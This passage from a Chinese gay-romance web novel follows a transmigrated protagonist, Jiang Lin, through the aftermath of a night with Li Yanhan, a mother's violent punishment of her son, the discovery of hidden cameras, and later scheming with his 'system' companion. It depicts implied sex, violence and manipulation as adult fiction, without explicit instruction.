李炎诞看着镜子中的自己,脸红脖子粗,身上肌肉发达紧绷着,却又不显得油腻,上面淌着汗,呈现一种性感的蜜色。 李炎诞慢吞吞的走到抬手打开木箱,里面工具多种多样,看形状大概也能猜出来是干什么用的。 他想象了一下用途,瞬间只觉得一阵恶心和恶寒,胃开始痉挛,像是看见了什么脏东西,但旋即脑海中闪过江林那双湿辘辘的眼睛,含着泪,委屈巴交的看着他。 李炎诞觉得心中的恶心散去了一些,少年的眉眼间的青涩、他的痛苦、他的欢愉都是自己给予的,这些都让他觉得满足又快乐。 这种病态的心理给他折磨得够呛,一方面他这么多年的直男观念让他窒息,警告他恪守本分,另一方面他想要和江林接触,不只是浅尝辄止。 其实让他更接受不了的是,要主动雌伏在男人身下,这在他看来,就像是将自尊全部捏碎了洒在地上,像是甘愿臣服的狗。 真的很奇怪也很恶心。 但是那个人是江林的话…… 李炎诞镜子中的脸很冷,倏然冷笑了一下,唇角带着裂开的痕迹,是长时间张嘴造成的,喉咙也感冒发烧似的疼,已经这样了,还有什么好纠结的? 江林抱着被子,蜷缩成一团,额前又冒出了细汗,来势汹汹的热潮,仿佛有人在他身上点了一把火,要将他连带着骨头都烧成灰烬,困意和疲倦让他几乎睁不开眼,直到被人拽着手臂从被单里抓起来,才清醒了两分。 刚刚洗完澡,头发正在滴水的李炎诞,利落凌厉的五官在他脸前放大,蹙眉不耐的表情瞬间吓得江林一激灵。 “李炎诞”江林下意识地喊了他的名字,语气有些疑惑,李炎诞将人抱进怀里,他只是单单裹着浴巾。 他的声音沙哑至极,双臂紧紧抱着他,像是要将人狠狠镶嵌入怀中:“我们要亲一下吗?我刷牙漱口了。” 江林觉得很奇怪,明明李炎诞的体温不低,但是此刻他却觉得有一丝舒服的清凉感,其实李炎诞的嗓子成了这样,的确蛮让人愧疚的,江林没说话。 “崔嘉树可以亲,我就不行吗?”李炎诞在他耳畔低低地问道,有些恼羞成怒地咬了咬他的耳垂,上面崔嘉树留下的咬痕还有淡淡的痕迹,他要掩盖住那点痕迹。 江林下意识地缩了缩耳朵,被牢牢抱着,躲也躲不掉。 “看在我没有辛劳也有苦劳份上,奖励我一下好吗?”李炎诞含着他的耳垂低声说道着。 江林还是没表态,却也没有明确地拒绝,李炎诞好在没蠢笨成猪继续缠着问,而是蹭着脸颊吻了过来,半垂着眼,两人视线缓缓有了一丝碰撞,又纷纷心虚地挪开。 谁让两人都要维持那个鬼直男人设呢。 这是李炎诞第一次接吻,他不知道和女生接吻会不会有这种心跳加速,面红耳赤的感觉,但和江林接吻,一点也不恶心。 江林没有尝到其他味道,只有清新的薄荷味,两人互相、小心翼翼地吻着彼此,倒是让这个吻生出一点温情。 “够了。”江林率先偏头,呼吸又急促起来,稍稍要往后退,却被李炎诞勒着腰拽了回来。 李炎诞轻轻吻了他的脖子,嘀咕出一句什么,像是惊涛骇浪般。 “炎哥我不喜欢男人。”江林愣了愣,然后再次强调道。 李炎诞鼻尖一酸,心尖泛起淡淡难受,嗤笑一声:“情况紧急,某些原则是不是该放到一边去,而且我们两个刚刚对于直男来说也算是惊世骇俗了吧,都已经这样” “都是男人,你还怕我让你负责?还是怕我怀孕出人命?” “你可以把他当成一场梦。” 李炎诞用最漫不经心的语气,说出最苦涩的话。 江林紧绷着脸,黛色的眉头也微微蹙起,满脸的不赞同,李炎诞却扒拉着他的脸,亲了亲他的嘴唇,低声道:“今晚总要想个办法度过的。” 说完,李炎诞不由分说的捧着她的脸亲了起来,声音越来越低,越来越轻:“你放心,老子一个大男人,让你吃不了亏” 江林只是轻轻唔了一声 李炎诞疼得几乎龇牙咧嘴,太阳穴的青筋不断跳动着,后脑勺一根筋都扯着头皮抽痛。 眼前的少年,又是另外一副诱人的模样,红艳艳的唇,微湿的发丝黏鬓角,那双水润润亮晶晶的黑眸,可爱努力的表情。 性感漂亮得要命啊。 李炎诞呼吸都停了,缓缓撑起手臂,靠近他,盯着他下颌垂着的晶莹汗珠,控制不住地吻了上去。 江林觉得有些痒,下意识地闭了一只眼,又有汗落下,像个小猫似的,wink了一下,可爱得不行,乌黑的睫毛湿又长。 “操,你他妈的怎么这么可爱。”李炎诞轻轻抽着气,一双眼直愣愣地盯着他。 “我不可爱,我是帅气。”江林难得幼稚地反驳了他这个说法,将他的脸按下去,不准他继续亲自己 而这边春意暖暖,崔嘉树这边确实寒风猎猎,崔家老宅没有在市区的富人区,而是在偏远的东区,是上了年纪的古宅,四合院的装潢设计。 崔嘉树下车之后,便见等候在门口穿着古朴马褂的管家,老管家面色担忧,出声提醒:“夫人正在气头上,少爷小心些。” 崔嘉树点了点头,微笑说:“谢谢卫叔。” 管家带着崔嘉树到了崔家祠堂,红漆的大门,充斥着一种封建压抑的气氛,他想到了自己小时候,经常一个人跪在这里,一跪就是一整天,不能喝水,也不能吃东西。 门从里面打开,坐在椅子上的女人穿着红色的旗袍,风韵犹存的美艳,手中拿着一根藤条,崔家列祖列宗的牌位就摆放在旁边贡台上,三根香徐徐燃着。 “妈。”崔嘉树心理素质可见一斑,事到如今就算猜测到发生了什么,也能笑容浅浅地说道:“再过半个小时就十二点了,再不休息明天黑眼圈可就重了。” 龙雅定面无表情,美艳变成了冷艳,冷声呵斥:“跪下。” 崔嘉树没有询问,没有反驳,直接跪在了地上,看着他美丽的母亲。 “你是同性恋这件事儿,除了我,是不是所有金海市的人都知道了?”龙雅定站起身,高跟鞋踩出冰冷恐怖的节奏声,这曾经是崔嘉树的噩梦。 “差不多吧。”崔嘉树淡淡回答,凌空划破的鞭子声刺耳,下一秒藤鞭狠狠抽在他背上。 “崔嘉树,你怎么和你不要脸的爸一样,尽做这些腌臜恶心事儿?好好地做个正常人不好吗?伤风败俗,不知廉耻!”龙雅定一鞭一鞭抽在他身上,力道之重像是要把他打死。 崔嘉树的脊梁被打弯了一瞬,又重新挺起来,任由她鞭挞,咬着牙不说话。 “你爹是个下贱玩意儿,你也是!”龙雅定骂得凶,带着对崔父的怨恨,看向崔家属的眼里是汹涌的恨意,毫无温情。 “嗬”崔嘉树等她停下,才长长呼出一口气,惨白的唇角带着笑,第一次对母亲说出反抗的话语:“我是父亲的种,当然和他相像啦。” 啪,一巴掌将崔嘉树的脸拍歪了,指甲划破了他的脸,血直接从伤口沁了出来。 “你还敢顶嘴?!”龙雅定森冷地盯着他,她从小就讨厌这个儿子,因为他和崔尼安太像了,一样的虚伪,一样的狡猾,样貌也极其相像。 龙雅定被崔尼安骗婚,怀上了崔嘉树之后崔尼安的本性暴露了,一切浓情爱意都是欺骗,崔尼安喜欢女人,但是更喜欢男人。 龙雅定是天之娇女,从小要强,被人捧着,就算婚姻支离破碎,她也维持着表面的平静,商业联姻也无法轻易割舍。 所以导致她的怨恨随着崔尼安不加遮掩地放纵,逐渐加深,龙雅定是个厉害的女人,她将崔尼安废了,让他再也当不了男人。 崔尼安自然对她也是恨之入骨,崔嘉树从小到大就是两人的憎恶的存在,挨的打只多不少。 “对不起,母亲。”崔嘉树又转瞬道了歉,被打得皮开肉绽还要保持着笑脸相迎。 龙雅定却并未领情,又是一个毫不收力的耳光扇在他脸侧,崔嘉树脸颊一偏,唇齿间蔓延起血腥味,他跪在阴暗无光的祠堂里,母亲的身影拉得很长,很黑。 “好好反省,什么时候想清楚自己错哪儿了再出来。”女人揉了揉手腕,抬脚走出祠堂,门被关上,只有神龛前还亮着红光,男人的背影微微佝偻。 崔嘉树垂着眼,那双含笑的眼像是罪恶滋生的生长地,邪肆冰冷,毫无悔改之意,只有不死不休 江林疲惫地躺在床上,手指都没力气抬起来了,李炎诞躺在他旁边,两人都粗喘着气,两人脑海中同一时间一片空白。 江林还穿着完好的白色内衬,袖口带着花边蓬蓬袖,衣领半开,他忍不住捂了捂泛红的眼睛,遮住亮起的刺眼灯光,似乎没想到事情会发展到这个地步。 李炎诞后知后觉的,难堪的情绪涌了上来,但很快被自己压下去,努力做出毫不在意的模样,哑着嗓子道:“洗澡吗?” 话音落下,寂静的房间,炙热气氛逐渐在此刻凝滞,黑漆漆的夜寂静无声,李炎诞的心跳声震耳欲聋,倏地紧张起来,口中蔓延起的苦涩味道发散到了心脏。 就算屈居人下,也不能改变这一切都是他求来的事实。 江林不想理他很正常,他原本就是身不由己、没有选择的那个。 李炎诞摸了摸自己有些发疼的嘴角,又重新开口:“说了一万遍了,这只是一场意外懂不懂?” 闻言,江林缓缓将手指叉开,那双红肿的眼出现,像两个核桃似的,脸上更是有斑驳的泪痕,嘴唇红红肿肿的。他透过分叉的手指空隙一眨不眨地看着李炎诞,似乎在鼓励他继续说下去。 “你他妈的真的够了,哭得那么惨,不知道还以为老子怎么揍你了呢,靠,老子都没哭呢。”李炎诞忍不住翻个白眼,像是十分嫌弃似的,但是唇角却扯起笑容,语气缓和了些:“去洗洗,准备走了,咱们不睡这儿。” 江林慢吞吞地应了一声:“哦。” 他坐起来,发现李炎诞也站起来,顿时又停下了,抱着毛毯盖住自己,抿着唇,低着头小声说:“我自己洗。” 李炎诞听见了,转头看着他,脸上也似带着嫌弃,似笑非笑地说道:“我给你放热水,你泡泡澡,放心浴缸就这么大,我不跟你洗。” “你嫌弃我,我还嫌弃你呢。” 他最后又颇要面子地反驳着。 江林看着他的背影,眼神逐渐瞪大,脸上出现震惊之色,说话声都不利索了:“你你你流血了。” 李炎诞低头看了一眼,江林说了之后,才发现原来身体已经这么难受了。 他们两个直男,对于这项高难度运动操作知识和实践经验都为零,受伤很正常。 “没事儿,没啥感觉。”李炎诞被他内疚的眼神盯着,生出一些不自然,试图玩笑道:“行了,哥们身强力壮的,能打死一头牛,你别拿那种眼神看着我,鸡皮疙瘩起了一身。” 江林依旧怀疑脸,紧张地滚动了一下喉结,面容内疚地看着他:“真的真的不好意思,今天麻烦你了,我不应该给你发那条消息的本来你不用受伤” “不给我发消息,你就打算让崔嘉树得手?”李炎诞挑眉看着他,黑眸沉沉。 “我和他同归于尽。”说起崔嘉树,江林脸上的嫌恶一览无余,瞬间让李炎诞觉得神清气爽,腰不疼了,腿不酸了,人也健康了。 李炎诞蹲下身给他放热水,“别说傻话,崔嘉树不会善罢甘休的,以后你没事跟在我后边,我护着你。” “我不可以这样。”江林却拒绝了,学着李炎诞的样子蹲着,呆呆看着前方:“炎哥已经很帮我了,我不能再麻烦你,而且和一个男人一直绑定在一起的话,你也会很烦吧。” “我不想成为像崔嘉树那种阴魂不散的人,也不想成为炎哥的负担。” 李炎诞被噎住了,第一次觉得直男这个称呼,有些刺耳,他很想大声地吼出来。 直男真的会想方设法的亲你吗?直男会想方设法保护你吗?直男会想法设法的拥抱你吗? “不用说这些,我以为至少我们两个现在关系也算朋友了。”李炎诞长长叹了一口气,转头看着他,“以后再发生这种事情,你可以继续找我。” 江林蹙眉,表情不认同,“怎么可以这样” “一次和两次有什么区别?”李炎诞抬手揉了揉他的脖子,看着他软乎乎、又傻乎乎的表情,很想亲上去,但是不行。 他们只是朋友而已,是直男而已。 浴室的门轻轻合上,江林坐在浴缸里,刚好足够温暖的水温,满身倦意袭来,泡在水中指尖有被李炎诞咬的牙印,不是很重,但也留下了一圈痕迹。 江林眯了眯眼,刚刚表现的内疚、后悔、脆弱都消失不见,只剩下平静,毫无波动的平静。 系统刚刚眼前全是马赛克,但对于发生了什么根据江林的心理活动和变化还是一清二楚。它心中骇然,又小心翼翼地开口:“宿主,这样主神知道了,大概会更加生气的。” 高高在上的主神,可从未想过会被人这么耍得团团转,像是奉献一切一样,将自尊捧在宿主面前,却不想只是得到一句,不喜欢,不在意,不合适。 江林靠在浴缸里,闭着眼,睫毛湿濡纤长,心中回答:“就是要气死他。” 系统小声提醒:“也许下个世界会更加难过。” “哦。”江林淡淡应道。 “告诉我现在崔嘉树在干什么?” “这我不能说。”系统为难说道。 江林勾起唇角笑了笑:“确实,我们之间的感情,根本无法让你倒戈我吧,你一定是主神最忠诚的系统吧,它会为你而骄傲的,我是什么?只是你万千宿主中的一个而已。” 系统虽然没有脸,但它有感觉自己肯定涨红了脸,情绪波动也是前所未有地大,小声哀怨地说道:“宿主明明知道,我是不能说,还要说这种话来故意阴阳怪气我。” “好吧,我是不会告诉你,他被龙雅定扇了两耳光,挨了十几下藤条,在祠堂跪晕过去的。” “909果然是我最好的伙伴。”江林听到了自己满意的答案,但还是不够,不是自己动手,总是觉得不得劲。 他猜到李炎诞做了什么,歪打正着把他下一步想要做得事情做完了。 其实昨晚上的意外,是在江林的半允许下发生的,他暂时对付不了崔嘉树那个不择手段的变态,但对付李炎诞还是绰绰有余的。 只是李炎诞都愿意为了他下这么狠的手,其实给听话的大狗一些奖励,会让他更加忠诚。 他泡得时间太长,李炎诞有些不放心,主动敲响了门,声音沉沉暗哑:“还不出来水都冷了。” “好的,马上。”江林扬起声音,从水中出来,裹着浴巾,湿漉漉的头发落在他锁骨,发尾黏在后颈,他打开门,看见穿戴整齐的李炎诞。 他刚刚在外间浴室洗完澡,让人送来了衣服和手机。 “先把头发弄干。”李炎诞伸手拧了一把他的黑发,水滴顺着掌心落在江林肩膀上,白莹莹的肩膀,看得他想吻掉身上的水珠。 “我先穿衣服吧。”江林往后退一步,隔开两人之间的距离,准备捡起那散落在地上的旧衣服。 “我给你准备了新的衣服,内裤也准备好了,去穿吧。”李炎诞指了指床上的纸质包装袋,上面印着名牌logo,抱臂看着他躲闪的动作,表情很臭。 江林又回浴室换衣服,发现这崭新的内裤尺寸刚好,不小不大,脸色有些微妙,没想到李炎诞还是个胆大心细? 第27章 “我们回宿舍吗?”江林换好衣服, 见李炎诞正在屋里翻找什么,不由开口问道:“你在找什么?” 李炎诞眉头紧锁,面容严肃, 感觉情况有些棘手,桌上摆放着十几个或大或小的摄像头, “找摄像头。” :“什么?”江林惊了惊:“这么多?” 李炎诞几乎咬牙切齿地骂道:“他到底是有多恶心。” “我让管理员过来。” 江林发现床上一片狼藉,还有些不好意思,但也没有开口拒绝, 李炎诞和管理员交涉,酒店管理员一口答应可以拆除摄像头。 江林和李炎诞又在不远处的酒店入住了两个房间休息。 “不管怎么说, 今天还是要谢谢你。”江林揉了揉有些酸疼的眉心,眼睛还没消肿,虽然脸色憔悴,但依旧难掩少年气的疏朗帅气和五官精致。 “手机的钱我会赚钱还你,还有衣服也是”江林絮絮叨叨地说道,感谢的话像是说个没完, 就怕李炎诞感觉不到他的诚意。 他打了哈切, 继续道:“唔, 今天如果不是你,我都不知道会被崔嘉树折磨成什么样子” 李炎诞见他困到要命, 还要嘴碎道谢的样子, 只觉得可爱,伸手捏了一下他的脸,软乎乎的, 但马上像是按下闭嘴的开关,江林怔愣看着他。 李炎诞动作僵硬,又故作轻松的笑了笑, 神色自然的收回手,大剌剌的扯出一抹笑:“不用还,我不差你这点钱,你应该知道的。” “这样不合适”江林又小声嘀咕起来。 “把我当朋友就不要还了。”李炎诞黑眸灼灼,也感觉今晚像是做梦般。 他和江林有了那么亲密的关系,简直不可思议,也许明天早上,他就会狠狠抽自己大嘴巴子,骂自己有病。 江林还想说什么,但是实在是太困了,一个哈气,眼泪汪汪,李炎诞打断他的话:“去睡觉吧,再不睡天亮了。” 江林只能回到自己的房间,反锁上门,才躺在床上,这一晚上精神紧绷,运动量超标,作息颠倒,他真的必须睡觉了。 没两秒,就沉沉睡了过去。 第二天天光大亮,江林的闹钟和敲门声同时响起,他迷迷糊糊醒来,一时间陷入了两难的境地,是先关手机还是先去开门呢。 他迟钝地思考了三秒,然后作出了正确的选择,将自己崭新的手机关掉闹钟,然后顶着鸡窝头去开门。 李炎诞穿戴整齐站在门口,眼下乌青一片,满脸的憔悴,唇角的青紫还没好,甚至泛着肿,眉心的伤好像更红了,他扯起一抹面前的笑容:“收拾收拾,送你回学校。” 江林努力睁大困倦的眸子,穿着件淡薄的内衬和长裤,点头乖巧应道:“好的,我洗漱一下,很快的。” 江林一边刷牙,一边看着镜子中的自己,呆呆地抬手捋了捋自己翘起的头发,身后出现李炎诞高大的身影,眉眼沉沉的看着他。 他对视上李炎诞的视线,在他沉郁的目光中,嘴唇带着白色泡沫,露出一个大大的笑容,眉眼仿佛月牙般弯了起来,他含糊不清地喊了一声:“炎哥~” 李炎诞心中沉闷散去大半,两人这种姿势和情况有一种无声的暧昧,仿佛刚刚一夜恩爱的情侣,正在等着伴侣洗漱,那种莫名其妙的归属感和家属感,有在安抚他焦躁的内心。 江林用水粗糙地洗了一把脸,睫毛和眉毛都沾着水珠,他拿纸随意地擦了擦,露出白净俊朗的脸。 “走吧。”江林说。 两人坐在后座,前面是沉默寡言的司机,江林后知后觉地发现他的状态不太对,端详了一下他有些发红的脸,忍不住询问:“炎哥,你的脸怎么这么红?” “不知道。”李炎诞伸手摸了摸自己的额头,百分百确定,自己应该是发烧了。 昨夜两人毫无经验,像愣头青似的,受伤很正常。但他生病也不全是因为昨晚他忍疼的那一次,而是他和那些人打架受了伤。在和江林分开之后,又想起他红着眼看着他、张嘴断断续续喊他炎哥、被他坐哭的画面,跑去浴室洗了冷水澡 一晚上这么折腾感冒发烧很正常。 “不会是发烧了吧。”江林蹙眉,眼底一丝担忧。 “不知道,你摸摸。”李炎诞将自己的脸伸过去,江林这次没那么‘应激’,探了探他的额头,感受到那惊人的温度,瞬间收回手:“肯定是发烧了,好烫。” 江林小脸皱起来,表情是越发内疚,自责道:“是我害了你” “你想什么呢,你这小身板能害谁,是我洗了个冷水澡。”李炎诞嘴硬道,“你回学校,我去一趟医院。” 江林不放心,“我陪你去吧。” “不用,我有司机,有保镖,不需要你陪着,你去了也是麻烦。”李炎诞拒绝。 江林虽然不满自己被称作麻烦,也没有继续强求,后半程便闷闷不说话了,似乎被嫌弃有些不开心。 等江林下车后,李炎诞才像是被抽干了精力,瞬间像是枯萎的草,浑身的疼痛席卷而来,望着江林逐渐远去的背影,一片生出一点惆然。 江林买了早餐,顺利赶上了第一节早课。 现在临近考试周,所有课程都即将结束,江林没空继续考虑别的,专心听课做笔记 秦锐清得到两人双双入院的消息,是在下午他醉酒醒来,昨晚上他们像是说好似的,给他猛猛灌酒,最后醉得人事不知。 一觉醒来,就接到他爸的电话,说是李炎诞和崔嘉树正在他家的私人医院住院,让他去慰问一下,顺便了解情况。 秦锐清又看了群里的压缩包,眉头便忍不住蹙了起来,酒醉之后的脑袋更疼了。 李炎诞是疯了吧,怎么敢的? 秦锐清到了医院,发现李炎诞正在挂水,精神萎靡,刚刚他爸妈来看了他,原本想好好教训他一顿的,但是见他受伤可怜的模样,又心疼了,只是不轻不重地责骂了两句。 “老秦,你来了。”李炎诞穿着病号服,嘴唇干燥掉皮,剑眉微微一挑,瞧着精神气还不错。 秦锐清抱着手臂,居高临下地看着他,眼神不解:“你和崔嘉树是怎么闹成这样的?” “谁让他犯贱?”李炎诞咧嘴露出洁白的牙齿,眼神闪过一丝狠厉:“他帮傅清池对付我,我身上这伤全部都是拜他所赐。” 秦锐清表情冷淡,淡淡道破了他某些谎言,李炎诞伤情报告别人看不见,他是能瞧见的,所以他用一张极为冷漠的脸说道:“你被人/cao,也是拜他所赐?” 李炎诞神情一瞬停滞,然后脸颊涨红,恼羞成怒地瞪着他,“关你屁事啊,这是老子乐意!” “那人是谁?”秦锐清眼神冷静得像个机器人。 “你别管。”李炎诞没好气地说道。 “孟南星。”秦锐清却准确地说出这个名字。 李炎诞一时语塞,没有反驳,只是警告他:“我和崔嘉树大概就是不死不休的关系了,跟谁没关系,你自己掂量吧,我伤得很重需要静养,你出去吧。” 秦锐清平静地看着他,他需要掂量什么,又和他没有关系。 秦锐清退出李炎诞的房间,转向隔壁,不知道是不是故意的,隔壁就是崔嘉树的单人病房。 崔嘉树情况看起来要比李炎诞的更加严重,脸上的巴掌印和指甲血痕让他显得越发狼狈,脸色惨白,医生说崔嘉树背上的伤发炎感染了,可想而知龙女士半点没有留手,几乎往死里打。 但崔嘉树顶着那张白纸似的脸,还能温和地扬起笑容,从某种意义来说,崔嘉树确实比李炎诞要强点。 李炎诞太好猜了,也像一张白纸,只是白痴的白。 秦锐清客观地评价,甚至觉得有些讽刺,两人居然会因为一个男人闹成这样。 江林就是导火索。 “坐吧。”崔嘉树就算重伤也要体面,“我听说小炎也住院了?你刚刚从他那来吧。” “嗯。”秦锐清也没遮掩,露出有点疑惑的神色:“这么多年的感情,闹成这样很难看。” “李炎诞就是个没有脑子的性格,你从前都能忍得了,现在怎么就忍不下了?” “蠢不是保命符啊。”崔嘉树长叹一声,“而且他抢了我的东西,我昨天安排的美味大餐,居然被他吃到了,就算是你也好过他这个蠢货啊。” 他为李炎诞做了嫁衣,这件事儿他咽不下去,特别是这狗崽子居然还敢背地里给他捅刀子,更让他恨死了。 秦锐清面不改色,看向崔嘉树那不甘和怨怼的神情。 “但是他居然哈哈哈哈。”崔嘉树忍不住笑了起来,语气中带着嘲讽和不屑:“这么好的机会,他居然不把孟南星那个贱人cao烂,居然甘心被他搞,他真的” “你好像很羡慕。”秦锐清面对情绪激动的崔嘉树,依旧平静无波,甚至能从他激动的情绪中,抽丝剥茧地察觉到他真实的情绪。 崔嘉树唇角笑容淡了些,表情难以置信:“老秦,不要开玩笑了,我怎么会羡慕他?他自甘堕落,谁会羡慕他啊?” 秦锐清这人虽然直接,但也不会再次没情商地戳穿他嘴硬的面具,他自欺欺人的样子对他没有任何的影响。 “老秦,帮我一个忙。”崔嘉树眼神微微一笑,笑容灿烂起来,许下令人心动的利益:“上次你和丰荣集团谈的那个项目,我再让你十个点。” 秦锐清眉梢微动,重利在前,他也忍不住动容:“那你基本没得赚了。” “没关系,我们都是朋友,只需要你帮我一个小忙。”崔嘉树毫不在意似地笑了笑,脸上依旧带着体面地微笑。 秦锐清听了他的请求,没有多余的犹豫,答应了。 这对他来说,只不过是举手之劳 课上完,江林准备了习题和教材,去给秦朗上这学期最后一堂课。 昨晚的插曲,最应该受影响的应该是江林,但现在他成为了最没有受影响的。 李炎诞生病,李家正在和龙雅定准备道歉事宜,崔嘉树生病,又在病房因为顶撞母亲被扇了两耳光,病情更加严重,被看管在病房。 他年纪大了,开始叛逆,一向对母亲言听计从的崔嘉树开始不再伪装成乖孩子。 江林依旧是坐地铁,到站之后步行到秦朗的别墅,他穿着白色的羽绒服,牛仔裤和棕色的雪地靴。 天空下着雪,他雪地靴的浅棕色沾了雪成了深棕色,他极为简单的穿搭,戴着他藕色的毛绒帽子,半张脸藏在衣领中,只露出那双黑润润的眼,脸颊被冻得有些红。 这个帽子之所以是藕粉色,是原主买了准备给心上人赵云月织帽子的,毕竟原主没钱,只能凭借心意取得心上人的欢心。 毛线落在江林手上,他便将帽子送给了自己。 亏待谁,也不能亏待自己。 “小老师,你来啦,快进来,准备了热乎乎的奶茶,先喝一杯。”管家笑眯眯地说道,招呼江林进来,秦朗乖巧地坐在桌边喝奶茶,而他旁边主位上坐着的人是刚从医院赶回来的秦锐清。 江林将羽绒服外套脱掉,穿着一件白色高领毛衣,他脖子上和锁骨上,有昨晚李炎诞嘬出来的痕迹,他拦都拦不住,像狗一样。 秦锐清没看他,自顾自地喝了一口奶香十足的奶茶。秦朗唇角沾着奶渍,叫了一声:“小老师。” 江林笑着应了一声,然后想要推辞,但是保姆已经给他端来了奶茶,耐心地解释道:“这边这碗是甜奶茶,中间的椰香奶茶,最左边的果香奶茶,您挑着喝。” “谢谢。”江林只能接过,然后找了一个距离秦锐清最远的位置坐下,然后朝着他绽放了一个微笑,客气地喊道:“秦哥。” 见人就叫哥,挑不出错来。 “小老师,我们只有最后一节课了吧。”秦朗喝得咕噜咕噜响,脸越来越圆润,小眼睛兴奋得不行。 “是啊。”江林也觉得有一种下岗放假的轻松,喝了一口甜甜的奶茶,心情又重新愉悦起来,看秦朗这个毛小子都顺眼了不少。 “太好啦。”秦朗心中在放烟花,他也算是发现了规律,大哥回来的时候都是江林补课的时间,原本他们两个根本一年都碰不上几次的,这个学期已经超过他们好几年的见面次数啦!! 他怀疑大哥喜欢这个小老师,但是他没有证据,也不敢乱说。 秦锐清率先上楼,并未和江林聊什么,像是毫不在意。 江林给秦朗小学内容基本教完,进行小升初的一些衔接课程,秦朗盯着江林的脸看,只觉得第一次觉得小老师的脸白白的,嘴唇也红红的,脸上什么疤痕旧伤都没有,只有耳朵尖尖上一颗很小的黑痣,但不凑近看,根本发现不了。 秦朗看江林的眼神像是打量又像是探究,仿佛试图发现他吸引人的地方,声音也好听,脾气好像也不错,就算他故意做错题目也不会生气。 他想着想着,端起旁边的茶水准备欲盖弥彰地喝一口,结果差点烫坏了他的舌头,被烫到,手上动作一大,茶水溅到他手上,他被烫到,打翻了杯子,遭殃的就变成了旁边的江林。 他原本在批改秦朗的错题,飞来横祸,热水撒在他毛衣上,出于求生的本能,他连忙躲开然后将自己的毛衣扯离自己的肌肤,防止烫到自己。 他看着完全被打湿的毛衣,又扫了一眼被烫得嚎啕大哭的秦朗,四周管家和保姆们都着急忙慌地照顾秦朗,他这个老师倒是被晾在一边了。 秦锐清准备出门,看见站在旁边拿纸巾擦毛衣的江林,脚步微顿,叫了一声:“孟南星。” 江林身为一个职业的快穿选手,对于原主名字的敏感程度自然不会低,他抬头看过去,秦锐清继续道:“你跟我上来。” 秦锐清自顾自发号施令之后,根本不等人拒绝,就转身重回二楼,江林抬脚跟上去,不意外地发现秦锐清从衣柜给他拿出了一件深灰色的毛衣。 “换上吧,他们可能会叫救护车,暂时没时间管你。”秦锐清在这里的卧房很朴素,也是冷灰色调的,只有衣柜有几件衣服,其他家具基本没有。 “哦,好,谢谢秦哥。”江林双手接过毛衣,眼神闪过感激,“我洗干净的还给您。” 秦锐清可有可无地点头,“换好衣服了来书房找我。” 秦锐清的书房就在卧房里面,他率先回到书房,顺便关上门。 江林对于秦锐清的识相和边界感表示赞同,这是他到这个小说里,看见过最有边界感的男生了。 尽管他只是在他换衣服的时候选择回避。 可想而知,江林从前过得都是什么苦日子。 江林换好毛衣之后,就发现了一个尴尬的问题,就是这个毛衣是低领的,脖子上的吻痕无处可藏,锁骨上还有一个不大不小的牙印,炎狗咬的。 “秦哥。”江林敲响门。 “进。”秦锐清放下手中的合同,一眼扫过他身上的痕迹,推测出江林慢吞吞的原因。 冷色调的毛衣恰到好处地露出他纤细的脖颈,和微微凸起的锁骨,他的尺寸穿在江林身上偏大了些,但无伤大雅,是另外一种慵懒随意的风格。 脖子上缠着一条细细的红绳,昨晚他没戴,因为那些变装衣服不方便。 秦锐清第一次知道一件衣服穿在两个人身上会有着这么大的不同,原本他穿过一次衣服,因为他寡淡冷漠的样貌,衬得这件衣服也是死气沉沉的冷气。 但江林穿着,气质仿佛发生了极大的转变,冷色调的衣服也晕染了暖色调的光芒,唇角的笑容柔和,“秦哥找我什么事儿。” 秦锐清坐在黑桌后,开始审视眼前的人,他看起来清纯无害,那双眼里也没有任何的小心思,只是单纯地好奇。 可他不信他这么无害,秦锐清疑心极重,所以相比相信江林身上魅力无限,他更相信是江林处心积虑地接近两人的结果。 造成如今的结果,是他的报复吗? 理智告诉他,应该远离这个少年,但好奇心又驱使他,忍不住朝着他靠近。 “李炎诞住院了。”秦锐清挑选了一个话题。 江林面露担忧,眉头蹙起,向前一步,关心道:“炎哥,有什么事吗?” 秦锐清瞧见他眉眼间毫不掩饰地关心,淡淡道:“没事,死不了。” “在哪个医院,我可以去看看他吗?”江林做戏做全套,其实根本没想过这件事儿。 “不太方便,他爸妈现在守在他身边。”秦锐清说话带着直白,带着刀锋似的:“你觉得你现在已经能进李家的门了?” “你”江林瞬间脸颊爆红,语无伦次地说道:“你说什么呢?我没” “你脖子上的痕迹是不是李炎诞吸的。”秦锐清截断他的话,懒得听他狡辩。 江林沉默了一瞬,才咬唇道:“对,但我们” “我提醒你一句。”秦锐清强势无比,又不让江林说完,江林忍不住生气地瞪了他一眼,“脖子上有大动脉,可能会导致血管破裂,进而引发大出血或者血栓的形成总之可能会造成脑中风等脑血管疾病。” 江林: 江林不太喜欢被人说教,又被打断了两次,心头有些上火,破罐子破摔似地说道:“好好好,下次不吸脖子,吸嘴子。” 他说完,后知后觉地害羞起来,脖子都红了。 秦锐清没有再继续这个话题,像个审判官,审判了李炎诞和崔嘉树,又开始审判江林,好似觉得昨晚自己醉得太快,错过了这场好戏而遗憾,忍不住增加一些参与感。 “你得罪了崔嘉树,他不会放过你的。” “我也不会放过他的。”江林捏紧拳头说道,表情气愤,但气鼓鼓的样子毫无杀伤力。 秦锐清轻笑一声,分不清是嘲笑还是嗤笑,他忍不住像这样软乎乎的一个人,到底怎么能cao得李炎诞那样牛高马大的人进医院的,简直神奇。 确定不会捏一捏碎掉吗? “你笑什么?”江林像是被踩到了尾巴,然后骂道:“崔嘉树是一个卑鄙无耻的小人,我真的不会原谅他的!” “嗯,记着吧。”秦锐清漫不经心地说道,看向江林的眼神像是在看小白痴。 不过就李炎诞表现出的护犊子行为,说不定崔嘉树还真拿江林没办法。 江林不想和他聊了,“秦哥如果没什么事儿我先走了,太晚了宿管阿姨会关门。” 秦锐清望着他的唇,想到了那天那个轻飘飘的吻,像是不经意落下的轻柔飘絮。 明明早就打定主意掺和这趟浑水,但在看见江林时,总是忘记所有的警惕。 “等下。”秦锐清叫住他,江林停下脚步,后脑勺对着他,等他的下文,可见气得不轻,都不愿意正眼瞧他。 秦锐清那些想说的话到了嘴边,又被理智克制,算了,让李炎诞和崔嘉树狗咬狗吧。 “毛衣不用还了。” 第28章 最后一周, 江林难得过了一段消停的日子,寝室只有他一个人,宁静又平和, 他享受这样短暂的平静。 就如同每个归家似箭的学生,江林早早订好票, 他和赵云月是一个市的,所以高铁票也是一起订的。 江林考完最后一门考试,托着早已经打包好的行李直奔高铁站, 赵云月在门口等待,定好车两人脸上洋溢着幸福的微笑。 “考试怎么样?”赵云月撩了撩刘海, 笑着问道。 